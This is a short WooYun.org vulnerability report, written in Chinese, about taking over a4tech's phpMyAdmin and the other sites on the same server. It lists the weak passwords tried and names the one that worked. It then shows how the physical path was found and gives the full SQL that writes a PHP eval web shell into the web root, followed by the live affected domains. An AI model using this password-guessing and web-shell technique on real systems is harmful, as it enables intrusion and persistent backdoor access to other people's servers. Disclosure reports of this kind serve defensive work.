WooYun.org

2.phpmyadmin弱口令导致同服务器上站点沦陷
http://www.a4tech.cn/phpmyadmin/
试了下弱口令。111111 admin888 admin 123456
发现密码是123456
http://www.a4tech.cn/phpmyadmin/info.php （这里获得物理路径）
路径为：D:\localUser\a4tech.cn\phpmyadmin\
然后利用phpmyadmin写shell
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[1]);?>");
select cmd from a into outfile "D:\localUser\a4tech.cn\phpmyadmin\d.php ";
Drop TABLE IF EXISTS a;

证明www.bloody.com/1.txt
影响的网站有：
http://www.a4tech.com/
http://a4tech.cn/
http://www.bloody.com/
http://www.bloody.tw